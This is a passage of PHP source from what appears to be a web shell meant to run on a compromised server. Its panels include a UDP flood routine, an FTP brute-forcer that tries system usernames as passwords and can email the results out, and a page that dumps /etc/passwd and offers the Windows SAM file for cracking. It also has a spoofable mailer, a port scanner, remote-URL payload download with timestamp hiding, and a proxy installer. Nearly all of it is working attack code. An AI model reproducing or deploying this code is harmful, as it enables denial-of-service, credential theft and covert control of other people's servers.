  3300. <input type=hidden name="x" value="phpproxy">
  3301. <input type=hidden name="install" value="yup">
  3302. Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
  3303. <input type=submit value="Install"></form>
  3304. <?php
  3305.         if ($_GET['install'] == 'yup') {
  3306.             if (is_writable($_GET['path'])) {
  3307.                 cf($_GET['path'].'proxy.php', $phpproxy);
  3308.                 echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>';
  3309.                 chmod($_GET['path'].'/proxy.php', 0777);
  3310.             }else{
  3311.                 echo '<font color=red><b>Directory is not writable!</b><br></font>';
  3312.             }
  3313.         }
  3314. }
  3315.  
  3316.  
  3317. if ($x == 'phptools'){
  3318. ?><center><?php
  3319. //mailer
  3320. echo '<b>Mailer</b><br>
  3321. <form action="'.$surl.'" method=GET>
  3322. <input type="hidden" name="act" value="phptools">
  3323. <input type=text name=to value=to><br>
  3324. <input type=text name=from value=from><br>
  3325. <input type=text name=subject value=subject><br>
  3326. <input type=text name=body value=body><br>
  3327. <input type=submit name=submit value=Submit></form>';
  3328. if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) {
  3329.     $headers = 'From: '.$_GET['from'];
  3330.     mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers);
  3331.     echo 'Email sent.';
  3332. }
  3333.  
  3334. //port scanner
  3335. echo '<br><b>Port Scanner</b><br>';
  3336. $start = strip_tags($_GET['start']);
  3337. $end = strip_tags($_GET['end']);
  3338. $host = strip_tags($_GET['host']);
  3339.  
  3340. if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){
  3341. for($i = $start; $i<=$end; $i++){
  3342.     $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  3343.     if($fp){
  3344.         echo 'Port '.$i.' is <font color=green>open</font><br>';
  3345.     }
  3346.     flush();
  3347.     }
  3348. }else{
  3349. ?>
  3350. <form action="?" method="get">
  3351. <input type="hidden" name="act" value="phptools">
  3352. Host:<br />
  3353. <input type="text" name="host" value="localhost"/><br />
  3354. Port start:<br />
  3355. <input type="text" name="start" value="0"/><br />
  3356. Port end:<br />
  3357. <input type="text" name="end" value="5000"/><br />
  3358. <input type="submit" value="Scan Ports" />
  3359. </form>
  3360. <?php
  3361. }
  3362.  
  3363. //UDP
  3364. if(isset($_GET['host'])&&is_numeric($_GET['time'])){
  3365.     $pakits = 0;
  3366.     ignore_user_abort(TRUE);
  3367.     set_time_limit(0);
  3368.     
  3369.     $exec_time = $_GET['time'];
  3370.     
  3371.     $time = time();
  3372.     //print "Started: ".time('h:i:s')."<br>";
  3373.     $max_time = $time+$exec_time;
  3374.  
  3375.     $host = $_GET['host'];
  3376.     
  3377.     for($i=0;$i<65000;$i++){
  3378.             $out .= 'X';
  3379.     }
  3380.     while(1){
  3381.     $pakits++;
  3382.             if(time() > $max_time){
  3383.                     break;
  3384.             }
  3385.             $rand = rand(1,65000);
  3386.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  3387.             if($fp){
  3388.                     fwrite($fp, $out);
  3389.                     fclose($fp);
  3390.             }
  3391.     }
  3392.     echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  3393.     echo '<br><br>
  3394.         <form action="'.$surl.'" method=GET>
  3395.         <input type="hidden" name="act" value="phptools">
  3396.         Host: <input type=text name=host value=localhost>
  3397.         Length (seconds): <input type=text name=time value=9999>
  3398.         <input type=submit value=Go></form>';
  3399. }else{ echo '<br><b>UDP Flood</b><br>
  3400.             <form action=? method=GET>
  3401.             <input type="hidden" name="act" value="phptools">
  3402.             Host: <br><input type=text name=host value=localhost><br>
  3403.             Length (seconds): <br><input type=text name=time value=9999><br>
  3404.             <input type=submit value=Go></form>';
  3405. }
  3406. ?></center><?php
  3407. }
  3408.  
  3409.  
  3410.  
  3411. if ($x == "ftpquickbrute") {
  3412. echo "<center><table><tr><td class=barheader colspan=2>";
  3413. echo ".: Ftp Quick Brute :.</td></tr>";
  3414. echo "<tr><td>";
  3415. if ($win) {echo "Couldn't run on Windows!";}
  3416. else {
  3417.   function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  3418.     if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  3419.     else {$TRUE = TRUE;}
  3420.     if ($TRUE) {
  3421.       $sock = @ftp_connect($host,$port,$timeout);
  3422.       if (@ftp_login($sock,$login,$pass)) {
  3423.         echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  3424.         ob_flush();
  3425.         return TRUE;
  3426.       }
  3427.     }
  3428.   }
  3429.   if (!empty($submit)) {
  3430.     if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  3431.     $fp = fopen("/etc/passwd","r");
  3432.     if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  3433.     else {
  3434.       if ($fqb_logging) {
  3435.         if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  3436.         else {$fqb_logfp = FALSE;}
  3437.         $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  3438.         if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  3439.       }
  3440.       ob_flush();
  3441.       $i = $success = 0;
  3442.       $ftpquick_st = getmicrotime();
  3443.       while(!feof($fp)) {
  3444.         $str = explode(":",fgets($fp,2048));
  3445.         if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  3446.           echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  3447.           $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  3448.           if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  3449.           $success++;
  3450.           ob_flush();
  3451.         }
  3452.         if ($i > $fqb_lenght) {break;}
  3453.         $i++;
  3454.       }
  3455.       if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  3456.       $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  3457.       echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  3458.       $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  3459.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  3460.       if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  3461.       fclose($fqb_logfp);
  3462.     }
  3463.   }
  3464.   else {
  3465.     $logfile = $tmpdir_logs."ca_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  3466.     $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  3467.     echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"ftpquickbrute\">".
  3468.          "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  3469.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  3470.          "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  3471.          "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  3472.          "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  3473.          "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  3474.   }
  3475.   echo "</td></tr></table></center>";
  3476. }
  3477. }
  3478. if ($x == "d") {
  3479. if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  3480. else {
  3481.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  3482.   if (!$win) {
  3483.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  3484.    $ow = posix_getpwuid(fileowner($d));
  3485.    $gr = posix_getgrgid(filegroup($d));
  3486.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  3487.   }
  3488.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  3489. }
  3490. }
  3491. if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
  3492. if ($x == "security") {
  3493.   echo "<div class=barheader>.: Server Security Information :.</div>".
  3494.        "<table>".
  3495.        "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  3496.   echo "<td>Password File</td><td>";
  3497.   if (!$win) {
  3498.     if ($nixpasswd) {
  3499.       if ($nixpasswd == 1) {$nixpasswd = 0;}
  3500.       echo "*nix /etc/passwd:<br>";
  3501.       if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  3502.       if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  3503.       echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
  3504.       $i = $nixpwd_s;
  3505.       while ($i < $nixpwd_e) {
  3506.         $uid = posix_getpwuid($i);
  3507.         if ($uid) {
  3508.           $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  3509.           echo join(":",$uid)."<br>";
  3510.         }
  3511.         $i++;
  3512.       }
  3513.     }
  3514.     else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  3515.   }
  3516.   else {
  3517.     $v = $_SERVER["WINDIR"]."\repair\sam";
  3518.     if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
  3519.     else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  3520.   }
  3521.   echo "</td></tr>";
  3522.   echo "<tr><td>Config Files</td><td>";
  3523.   if (!$win) {
  3524.     $v = array(
  3525.         array("User Domains","/etc/userdomains"),
  3526.         array("Cpanel Config","/var/cpanel/accounting.log"),
  3527.         array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  3528.         array("Apache Config","/etc/httpd.conf"),
  3529.         array("Syslog Config","/etc/syslog.conf"),
  3530.         array("Message of The Day","/etc/motd"),
  3531.         array("Hosts","/etc/hosts")
  3532.     );
  3533.     $sep = "/";
  3534.   }
  3535.   else {
  3536.     $windir = $_SERVER["WINDIR"];
  3537.     $etcdir = $windir . "\system32\drivers\etc\\";
  3538.     $v = array(
  3539.         array("Hosts",$etcdir."hosts"),
  3540.         array("Local Network Map",$etcdir."networks"),
  3541.         array("LM Hosts",$etcdir."lmhosts.sam"),
  3542.     );
  3543.     $sep = "\\";
  3544.   }
  3545.   foreach ($v as $sec_arr) {
  3546.     $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  3547.     $sec_d = rtrim($sec_arr[1],$sec_f);
  3548.     $sec_full = $sec_d.$sec_f;
  3549.     $sec_d = rtrim($sec_d,$sep);
  3550.     if (file_get_contents($sec_full)) {
  3551.       echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
  3552.     }
  3553.   }
  3554.   echo "</td></tr>";
  3555.  
  3556.   function displaysecinfo($name,$value) {
  3557.     if (!empty($value)) {
  3558.       echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
  3559.     }
  3560.   }
  3561.   if (!$win) {
  3562.     displaysecinfo("OS Version",myshellexec("cat /proc/version"));
  3563.     displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
  3564.     displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
  3565.     displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
  3566.     displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
  3567.     displaysecinfo("RAM",myshellexec("free -m"));
  3568.     displaysecinfo("HDD Space",myshellexec("df -h"));
  3569.     displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  3570.     displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
  3571.     displaysecinfo("cURL installed?",myshellexec("which curl"));
  3572.     displaysecinfo("lynx installed?",myshellexec("which lynx"));
  3573.     displaysecinfo("links installed?",myshellexec("which links"));
  3574.     displaysecinfo("fetch installed?",myshellexec("which fetch"));
  3575.     displaysecinfo("GET installed?",myshellexec("which GET"));
  3576.     displaysecinfo("perl installed?",myshellexec("which perl"));
  3577.     displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
  3578.     displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  3579.     displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
  3580.     displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
  3581.     displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
  3582.     displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  3583.   }
  3584.   else {
  3585.     displaysecinfo("OS Version",myshellexec("ver"));
  3586.     displaysecinfo("Account Settings",myshellexec("net accounts"));
  3587.   }
  3588.   echo "</table>\n";
  3589. }
  3590. if ($x == "mkfile") {
  3591. if ($mkfile != $d) {
  3592.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  3593.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  3594.   else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  3595. }
  3596. else {$x = $dspact = "ls";}
  3597. }
  3598. if ($x == "encoder") {
  3599. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  3600.      "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  3601.      "<input type=hidden name=x value=encoder>".
  3602.      "<center><table class=contents>".
  3603.      "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  3604.      "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  3605.      "<input type=submit value=\"calculate\"></td></tr>".
  3606.      "<tr><td rowspan=4>Hashes:</td>";
  3607. foreach(array("md5","crypt","sha1","crc32") as $v) {
  3608.   echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  3609. }
  3610. echo "</tr>".
  3611.      "<tr><td rowspan=2>Url:</td>".
  3612.      "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  3613.      "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  3614.      "<tr><td rowspan=2>Base64:</td>".
  3615.      "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  3616.      "<tr><td>base64_decode:</td><td>";
  3617. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  3618. else {
  3619.   $debase64 = base64_decode($encoder_input);
  3620.   $debase64 = str_replace("\0","[0]",$debase64);
  3621.   $a = explode("\r\n",$debase64);
  3622.   $rows = count($a);
  3623.   $debase64 = htmlspecialchars($debase64);
  3624.   if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  3625.   else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  3626.   echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  3627. }
  3628. echo "</td></tr>".
  3629.      "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  3630. $c = strlen($encoder_input);
  3631. for($i=0;$i<$c;$i++) {
  3632.   $hex = dechex(ord($encoder_input[$i]));
  3633.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  3634.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  3635. }
  3636. echo "\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\"http://passcracking.com\" target=_blank>Enter</a></td></tr></table></center></form>";
  3637. }
  3638. if ($x == "fsbuff") {
  3639.   $arr_copy = $sess_data["copy"];
  3640.   $arr_cut = $sess_data["cut"];
  3641.   $arr = array_merge($arr_copy,$arr_cut);
  3642.   if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  3643.   else {
  3644.     $fx_infohead = "File-System Buffer";
  3645.     $ls_arr = $arr;
  3646.     $disp_fullpath = TRUE;
  3647.     $x = "ls";
  3648.   }
  3649. }
  3650. if ($x == "selfremove") {
  3651.   if (($submit == $rndcode) and ($submit != "")) {
  3652.     if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; capriv8exit(); }
  3653.     else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  3654.   }
  3655.   else {
  3656.     if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  3657.     $rnd = rand(0,9).rand(0,9).rand(0,9);
  3658.     echo "<form action=\"".$surl."\"><input type=hidden name=x value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
  3659.   }
  3660. }
  3661.  
  3662. if ($x == "search") {
  3663.   echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  3664.   if (empty($search_in)) {$search_in = $d;}
  3665.   if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  3666.   if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  3667.   if (!empty($submit)) {
  3668.     $found = array();
  3669.     $found_d = 0;
  3670.     $found_f = 0;
  3671.     $search_i_f = 0;
  3672.     $search_i_d = 0;
  3673.     $a = array(
  3674.         "name"=>$search_name,
  3675.         "name_regexp"=>$search_name_regexp,
  3676.         "text"=>$search_text,
  3677.         "text_regexp"=>$search_text_regxp,
  3678.         "text_wwo"=>$search_text_wwo,
  3679.         "text_cs"=>$search_text_cs,
  3680.         "text_not"=>$search_text_not
  3681.     );
  3682.     $searchtime = getmicrotime();
  3683.     $in = array_unique(explode(";",$search_in));
  3684.     foreach($in as $v) {cafsearch($v);}
  3685.     $searchtime = round(getmicrotime()-$searchtime,4);
  3686.     if (count($found) == 0) {echo "No files found!";}
  3687.     else {
  3688.       $ls_arr = $found;
  3689.       $disp_fullpath = TRUE;
  3690.       $x = "ls";
  3691.     }
  3692.   }
  3693.   echo "<table class=contents>".
  3694.        "<tr><td><form method=POST>".
  3695.        "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">".
  3696.        "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
  3697.        "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
  3698.        "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
  3699.        "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
  3700.        "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
  3701.        "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
  3702.        "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
  3703.        "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
  3704.        "</table>";
  3705.   if ($x == "ls") {
  3706.     $dspact = $x;
  3707.     echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
  3708.          "<hr size=\"1\" noshade>";
  3709.   }
  3710. }
  3711. if ($x == "chmod") {
  3712.   $mode = fileperms($d.$f);
  3713.   if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  3714.   else {
  3715.     $form = TRUE;
  3716.     if ($chmod_submit)
  3717.   {
  3718.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  3719.    if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
  3720.    else {$err = "Can't chmod to ".$octet.".";}
  3721.   }
  3722.   if ($form)
  3723.   {
  3724.    $perms = parse_perms($mode);
  3725.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  3726.   }
  3727. }
  3728. }
  3729. if ($x == "upload") {
  3730.   $uploadmess = "";
  3731.   $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  3732.   if (empty($uploadpath)) {$uploadpath = $d;}
  3733.   elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  3734.   if (!empty($submit)) {
  3735.     global $_FILES;
  3736.     $uploadfile = $_FILES["uploadfile"];
  3737.     if (!empty($uploadfile["tmp_name"])) {
  3738.       if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  3739.       else {$destin = $userfilename;}
  3740.       if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
  3741.         $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
  3742.       }
  3743.       else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
  3744.     }
  3745.     elseif (!empty($uploadurl)) {
  3746.       if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  3747.       else {
  3748.         $destin = explode("/",$destin);
  3749.         $destin = $destin[count($destin)-1];
  3750.         if (empty($destin)) {
  3751.           $i = 0;
  3752.           $b = "";
  3753.           while(file_exists($uploadpath.$destin)) {
  3754.             if ($i > 0) {$b = "_".$i;}
  3755.             $destin = "upload".$b;
  3756.             $i++;
  3757.           }
  3758.         }
  3759.       }
  3760.       if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
  3761.       else {
  3762.         $st = getmicrotime();
  3763.         $content = @file_get_contents($uploadurl);
  3764.         $dt = round(getmicrotime()-$st,4);
  3765.         if (!$content) {$uploadmess .=  "Can't download file!";}
  3766.         else {
  3767.           if ($filestealth) {$stat = stat($uploadpath.$destin);}
  3768.           $fp = fopen($uploadpath.$destin,"w");
  3769.           if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  3770.           else {
  3771.             fwrite($fp,$content,strlen($content));
  3772.             fclose($fp);
  3773.             if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  3774.             $uploadmess .= "File saved from ".$uploadurl." !";
  3775.           }
  3776.         }
  3777.       }
  3778.     }
  3779.     else { echo "No file to upload!"; }
  3780.   }
  3781.   if ($miniform) {
  3782.     echo "<b>".$uploadmess."</b>";
  3783.     $x = "ls";
  3784.   }
  3785.   else {
  3786.     echo "<table><tr><td colspan=2 class=barheader>".
  3787.          ".: File Upload :.</td>".
  3788.          "<td colspan=2>".$uploadmess."</td></tr>".
  3789.          "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
  3790.          "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
  3791.          "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
  3792.          "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
  3793.          "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
  3794.          "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
  3795.          "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
  3796.          "</form></td></tr></table>";
  3797.   }
  3798. }
  3799. if ($x == "delete") {
  3800.   $delerr = "";
  3801.   foreach ($actbox as $v) {
  3802.     $result = FALSE;
  3803.     $result = fs_rmobj($v);
  3804.     if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  3805.   }
  3806.   if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  3807.   $x = "ls";
  3808. }
  3809. if (!$usefsbuff) {
  3810.   if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
  3811. }
  3812. else {
  3813.   if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
  3814.   elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
